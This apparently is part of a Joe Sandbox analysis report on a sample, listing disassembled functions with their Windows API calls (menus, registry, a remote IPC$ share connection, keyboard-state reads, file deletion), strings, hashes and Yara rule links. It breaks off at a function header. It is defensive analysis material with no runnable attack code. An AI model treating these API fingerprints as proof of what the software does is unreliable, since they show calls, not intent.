Opcode ID: 5796cf6ad0326199a0f8701eff3cee8138b20ed2b496d3a8835adead40b1fe5b
Instruction ID: f2764685592ec7144af4cf302efe1b2bccdf27eac1360cdf2aaa17ee46f99a07
Opcode Fuzzy Hash: 5796cf6ad0326199a0f8701eff3cee8138b20ed2b496d3a8835adead40b1fe5b
Instruction Fuzzy Hash: 6F21273185021EBBCF11EF90CC4AEEE7775FF28700F004456B619A10A2EA76AB58DB70

Function 00D85FDB Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D85FF5
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00D86082
GetMenuItemCount.USER32(00E018F0), ref: 00D8610B
DeleteMenu.USER32(00E018F0,00000005,00000000,000000F5,?,?), ref: 00D8619B
DeleteMenu.USER32(00E018F0,00000004,00000000), ref: 00D861A3
DeleteMenu.USER32(00E018F0,00000006,00000000), ref: 00D861AB
DeleteMenu.USER32(00E018F0,00000003,00000000), ref: 00D861B3
GetMenuItemCount.USER32(00E018F0), ref: 00D861BB
SetMenuItemInfoW.USER32(00E018F0,00000004,00000000,00000030), ref: 00D861F1
GetCursorPos.USER32(?), ref: 00D861FB
SetForegroundWindow.USER32(00000000), ref: 00D86204
TrackPopupMenuEx.USER32(00E018F0,00000000,?,00000000,00000000,00000000), ref: 00D86217
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00D86223

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: f2f1aa970d31de93f3e405d444630a8a531f62dc136e74f7ebe8a952596e0e37
Instruction ID: 60a6e5102f5d7c777cd538a6ff7eccd5286d2bcf9a2e7e3572a2589b1cb55064
Opcode Fuzzy Hash: f2f1aa970d31de93f3e405d444630a8a531f62dc136e74f7ebe8a952596e0e37
Instruction Fuzzy Hash: 1871E670640216BFEB20AB54DC49FAABF64FF01774F184216F614AA1D1C7B1E850CBB5

Function 00D8D520 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 144COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF), ref: 00D8D567

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

LoadStringW.USER32(?,?,00000FFF,?), ref: 00D8D589
__swprintf.LIBCMT ref: 00D8D5DC
_wprintf.LIBCMT ref: 00D8D68D
_wprintf.LIBCMT ref: 00D8D6AB

Strings

Line %d (File "%s"):, xrefs: 00D8D5D6
"%s" (%d) : ==> %s:%s%s, xrefs: 00D8D688
Error: , xrefs: 00D8D657
"%s" (%d) : ==> %s:, xrefs: 00D8D6A6
^ ERROR, xrefs: 00D8D631

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-2391861430
Opcode ID: d8e38f4658d80129ac66462ff29017f20df3cfcf5e5a0b84e6d8b4336b462a1e
Instruction ID: 3acc31ef8c5c51ef24c45a0bcb25cd595adcc68359e60db1a7e2a184216a2dbb
Opcode Fuzzy Hash: d8e38f4658d80129ac66462ff29017f20df3cfcf5e5a0b84e6d8b4336b462a1e
Instruction Fuzzy Hash: CF512C72900109ABDB15FBA4DD82EEEB779EF14700F104166F505B21A1EA726F58DBB0

Function 00D8D338 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00D8D37F

Part of subcall function 00D4CAEE: _memmove.LIBCMT ref: 00D4CB2F

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00D8D3A0
__swprintf.LIBCMT ref: 00D8D3F3
_wprintf.LIBCMT ref: 00D8D499
_wprintf.LIBCMT ref: 00D8D4B7

Strings

Line %d (File "%s"):, xrefs: 00D8D3ED
"%s" (%d) : ==> %s:%s%s, xrefs: 00D8D494
Error: , xrefs: 00D8D463
"%s" (%d) : ==> %s:, xrefs: 00D8D4B2
^ ERROR , xrefs: 00D8D432

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-3420473620
Opcode ID: fa59e50d342c262f60cdeae5c3138ab92453bf694879722fac81a6c6e4c7130f
Instruction ID: 83ce49e2abf435d6aa1361561107ac7745ab078c3ced5349d95a1fec822ec99b
Opcode Fuzzy Hash: fa59e50d342c262f60cdeae5c3138ab92453bf694879722fac81a6c6e4c7130f
Instruction Fuzzy Hash: 5C517072900209ABCB15FBA4DD82EEEB779EF14700F108466B105B21A1EB756F58DB70

Function 00D7AEE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

_memset.LIBCMT ref: 00D7AF74
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00D7AFA9
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00D7AFC5
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00D7AFE1
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00D7B00B
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00D7B033
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00D7B03E
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00D7B043

Strings

SOFTWARE\Classes\, xrefs: 00D7AF15
\IPC$, xrefs: 00D7AF8B
\CLSID, xrefs: 00D7AF2B

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 0d0e6e1c0a0fd5255cca4097015882b329514474687d95a51291e55b3fefc759
Instruction ID: 93e706147bc34caf5e23d091619dc24d37b095c9df7e3eecb19fdccffd75eaf3
Opcode Fuzzy Hash: 0d0e6e1c0a0fd5255cca4097015882b329514474687d95a51291e55b3fefc759
Instruction Fuzzy Hash: D341F77681022DABCB11EBA4DC85DEEB779FF14710F04816AF905A21A1EB759E04CFB0

Function 00DA3AF7 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 109COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DA2AA6,?,?), ref: 00DA3B0E

Strings

HKEY_USERS, xrefs: 00DA3BF5
HKEY_CLASSES_ROOT, xrefs: 00DA3B87
HKLM, xrefs: 00DA3B72
HKEY_CURRENT_USER, xrefs: 00DA3BD3
HKEY_CURRENT_CONFIG, xrefs: 00DA3BB1
HKEY_LOCAL_MACHINE, xrefs: 00DA3B5D
HKCC, xrefs: 00DA3BC2
HKCR, xrefs: 00DA3B9C
HKU, xrefs: 00DA3C06
HKCU, xrefs: 00DA3BE4

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: ea844fa09268d048599dcb27b27e2d0ea74f2738ecf1cd1601e98a0c52a8cedf
Instruction ID: ffd7393394c5d456b980ee9f53921043dacec5b798c1fb2f84adb2f6db05ccab
Opcode Fuzzy Hash: ea844fa09268d048599dcb27b27e2d0ea74f2738ecf1cd1601e98a0c52a8cedf
Instruction Fuzzy Hash: 91414B7414034A9BDF08EF14DC51AEA3762EF26360F598824BC915B296DB309A5ECB71

Function 00D883D6 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00D47E53: _memmove.LIBCMT ref: 00D47EB9

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00D8843F
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00D88455
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00D88466
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00D88478
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00D88489

Strings

open , xrefs: 00D883EE
status PlayMe mode, xrefs: 00D8843A
play PlayMe wait, xrefs: 00D88473
play PlayMe, xrefs: 00D88484
alias PlayMe, xrefs: 00D88418
close PlayMe, xrefs: 00D88450, 00D8847D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 9aedfd837540f3f08bcb7a3bb51deebff980003c8cbf6441a8ed7d74a7c6e225
Instruction ID: e8a4673be0a6b8680e58569622a77910e2332f853469df8575864f07e88f4f5a
Opcode Fuzzy Hash: 9aedfd837540f3f08bcb7a3bb51deebff980003c8cbf6441a8ed7d74a7c6e225
Instruction Fuzzy Hash: FA11A361A4025E7ED714B7A6CC4ADFF7B7CEB91B40F854829B911A20D1DEB05E48CAB0

Function 00D88097 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00D8809C

Part of subcall function 00D5E3A5: timeGetTime.WINMM(?,75C0B400,00DB6163), ref: 00D5E3A9

Sleep.KERNEL32(0000000A), ref: 00D880C8
EnumThreadWindows.USER32(?,Function_0004804C,00000000), ref: 00D880EC
FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 00D8810E
SetActiveWindow.USER32 ref: 00D8812D
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00D8813B
SendMessageW.USER32(00000010,00000000,00000000), ref: 00D8815A
Sleep.KERNEL32(000000FA), ref: 00D88165
IsWindow.USER32 ref: 00D88171
EndDialog.USER32(00000000), ref: 00D88182

Strings

BUTTON, xrefs: 00D88100

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 5f79791a3385d4b75f7eabf9c8ad4d76cbb2b3ba88fd7930ce3a82a7b09aacc6
Instruction ID: 4b83883b0ac8bde0a0834f5e838b5b5ef208e6b3d67bd4de267e10ca32871038
Opcode Fuzzy Hash: 5f79791a3385d4b75f7eabf9c8ad4d76cbb2b3ba88fd7930ce3a82a7b09aacc6
Instruction Fuzzy Hash: 16216270240306BFE7226B72EC89E263B6FF715389B480125F521D62A1CF738D499B31

Function 00D878EE Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00D87909
gethostname.WSOCK32(?,00000100), ref: 00D87923
gethostbyname.WSOCK32(?), ref: 00D87930
_wcscpy.LIBCMT ref: 00D87958
_memmove.LIBCMT ref: 00D8796B
inet_ntoa.WSOCK32(?), ref: 00D87976
_strcat.LIBCMT ref: 00D87984
_wcscpy.LIBCMT ref: 00D8799B
WSACleanup.WSOCK32 ref: 00D879A9
_wcscpy.LIBCMT ref: 00D879B7

Strings

0.0.0.0, xrefs: 00D87952

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: ce77ef611d68723f227e0c65b9e4179726f3182c496229cd5d1f8f776ca41301
Instruction ID: e8b91eca3a4104e0fb7a29949324907fcf0eef5ec03a2634eda602b55c59522c
Opcode Fuzzy Hash: ce77ef611d68723f227e0c65b9e4179726f3182c496229cd5d1f8f776ca41301
Instruction Fuzzy Hash: 8811D231908226AFDB24B7749C4AEEA77ACEB41720F1500A6F456D6191EF70DA858BB0

Function 00D8C890 Relevance: 18.3, APIs: 12, Instructions: 316fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8C6A0: __time64.LIBCMT ref: 00D8C6AA

Part of subcall function 00D441A7: _fseek.LIBCMT ref: 00D441BF

__wsplitpath.LIBCMT ref: 00D8C96F

Part of subcall function 00D6297D: __wsplitpath_helper.LIBCMT ref: 00D629BD

_wcscpy.LIBCMT ref: 00D8C982
_wcscat.LIBCMT ref: 00D8C995
__wsplitpath.LIBCMT ref: 00D8C9BA
_wcscat.LIBCMT ref: 00D8C9D0
_wcscat.LIBCMT ref: 00D8C9E3

Part of subcall function 00D8C6E4: _memmove.LIBCMT ref: 00D8C71D
Part of subcall function 00D8C6E4: _memmove.LIBCMT ref: 00D8C72C

_wcscmp.LIBCMT ref: 00D8C92A

Part of subcall function 00D8CE59: _wcscmp.LIBCMT ref: 00D8CF49
Part of subcall function 00D8CE59: _wcscmp.LIBCMT ref: 00D8CF5C

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00D8CB8D
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00D8CC24
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00D8CC3A
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00D8CC4B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00D8CC5D

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy
String ID:
API String ID: 152968663-0
Opcode ID: 182b71a30342555f9ab4e05f57f3db26ccb7ccec733c42b33cc732d785bb69c5
Instruction ID: cdb4777ba32874a4801bf8aab59a5be4b850a0886fbcb4b1bb59b7f2684c311a
Opcode Fuzzy Hash: 182b71a30342555f9ab4e05f57f3db26ccb7ccec733c42b33cc732d785bb69c5
Instruction Fuzzy Hash: A4C10BB1900229ABDF11EFA5CC81EEEB7B9EF59310F0440AAF609E6151D7709A84CF75

Function 00D908D9 Relevance: 18.2, APIs: 12, Instructions: 196COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D9090D
_memset.LIBCMT ref: 00D90928
CoInitialize.OLE32(00000000), ref: 00D9093B
SHGetMalloc.SHELL32(?), ref: 00D90945
CoUninitialize.OLE32 ref: 00D9094F
_wcscpy.LIBCMT ref: 00D90993
SHGetDesktopFolder.SHELL32(?), ref: 00D909F5
_wcscpy.LIBCMT ref: 00D90A1B
_wcscpy.LIBCMT ref: 00D90A77
SHBrowseForFolderW.SHELL32 ref: 00D90AA2
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00D90AC5
CoUninitialize.OLE32 ref: 00D90B11

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: _wcscpy$FolderUninitialize_memset$BrowseDesktopFromInitializeListMallocPath
String ID:
API String ID: 3566271842-0
Opcode ID: aba6d94669ebd8287c7c92335fc76221eab9744a559d27e21139bb76df0a78f9
Instruction ID: 5f78d1af99f3dd3cd26fc3daccb7fda78e906c0c115c9dd7027e82394a01591a
Opcode Fuzzy Hash: aba6d94669ebd8287c7c92335fc76221eab9744a559d27e21139bb76df0a78f9
Instruction Fuzzy Hash: 12711C75901219AFDB14EFA4D885A9EBBB9EF48314F048096E919EB351D730EE40CFA0

Function 00D8388D Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00D83908
SetKeyboardState.USER32(?), ref: 00D83973
GetAsyncKeyState.USER32(000000A0), ref: 00D83993
GetKeyState.USER32(000000A0), ref: 00D839AA
GetAsyncKeyState.USER32(000000A1), ref: 00D839D9
GetKeyState.USER32(000000A1), ref: 00D839EA
GetAsyncKeyState.USER32(00000011), ref: 00D83A16
GetKeyState.USER32(00000011), ref: 00D83A24
GetAsyncKeyState.USER32(00000012), ref: 00D83A4D
GetKeyState.USER32(00000012), ref: 00D83A5B
GetAsyncKeyState.USER32(0000005B), ref: 00D83A84
GetKeyState.USER32(0000005B), ref: 00D83A92

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 879e74d5708b01f00bbb70050f34d89333694726be851d904555bb3a8adbd63c
Instruction ID: 3853fce46c9f6503db88fafa4e6f86c50c92ffa987ce9931a7d7294a29eedf68
Opcode Fuzzy Hash: 879e74d5708b01f00bbb70050f34d89333694726be851d904555bb3a8adbd63c
Instruction Fuzzy Hash: FB519960A047C569FB35FBA488117EABFB49F01B40F0C459DD5CA561C2DA94DB8CCB72

Function 00D7FAFD Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00D7FB19
GetWindowRect.USER32(00000000,?), ref: 00D7FB2B
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00D7FB89
GetDlgItem.USER32(?,00000002), ref: 00D7FB94
GetWindowRect.USER32(00000000,?), ref: 00D7FBA6
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00D7FBFC
GetDlgItem.USER32(?,000003E9), ref: 00D7FC0A
GetWindowRect.USER32(00000000,?), ref: 00D7FC1B
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00D7FC5E
GetDlgItem.USER32(?,000003EA), ref: 00D7FC6C
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00D7FC89
InvalidateRect.USER32(?,00000000,00000001), ref: 00D7FC96

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: adc909d122dbdf5dbf57de6fdec2613418e8ca638f192169f6e294825efd5da1
Instruction ID: 442ba2abd24189e7a9ad14bc42bd32f51bd32f39919390340d5937b39669cfc2
Opcode Fuzzy Hash: adc909d122dbdf5dbf57de6fdec2613418e8ca638f192169f6e294825efd5da1
Instruction Fuzzy Hash: BA51F071B0020AAFDB18CF69DD95E6EBBB6EB88710F148539F919D7690D7709D00CB20

Function 00D5B86E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00D449CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D44954,00000000), ref: 00D44A23

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00D5B85B), ref: 00D5B926
KillTimer.USER32(00000000,?,00000000,?,?,?,?,00D5B85B,00000000,?,?,00D5AF1E,?,?), ref: 00D5B9BD
DestroyAcceleratorTable.USER32(00000000), ref: 00DBE775
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D5B85B,00000000,?,?,00D5AF1E,?,?), ref: 00DBE7A6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D5B85B,00000000,?,?,00D5AF1E,?,?), ref: 00DBE7BD
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D5B85B,00000000,?,?,00D5AF1E,?,?), ref: 00DBE7D9
DeleteObject.GDI32(00000000), ref: 00DBE7EB

Memory Dump Source

Source File: 00000008.00000002.1804505540.0000000000D41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000008.00000002.1804478995.0000000000D40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DCD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804589948.0000000000DEE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804749338.0000000000DFA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1804775132.0000000000E04000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_d40000_OJTLMJ.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 79e4b5acf585468cd914d0e2a1809a088a3a18878156d1f985ffb2f3d8e62d3c
Instruction ID: 6c1ac8a8bddf4a8fa4aae801d0c79b1bfe45e21c79d7503d77636e52334756d7
Opcode Fuzzy Hash: 79e4b5acf585468cd914d0e2a1809a088a3a18878156d1f985ffb2f3d8e62d3c
Instruction Fuzzy Hash: 5961AC34100B02CFDB259F16D888B65BBF5FF85322F18452AE9869B660C771E988DF70

Function 00D5B039 Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

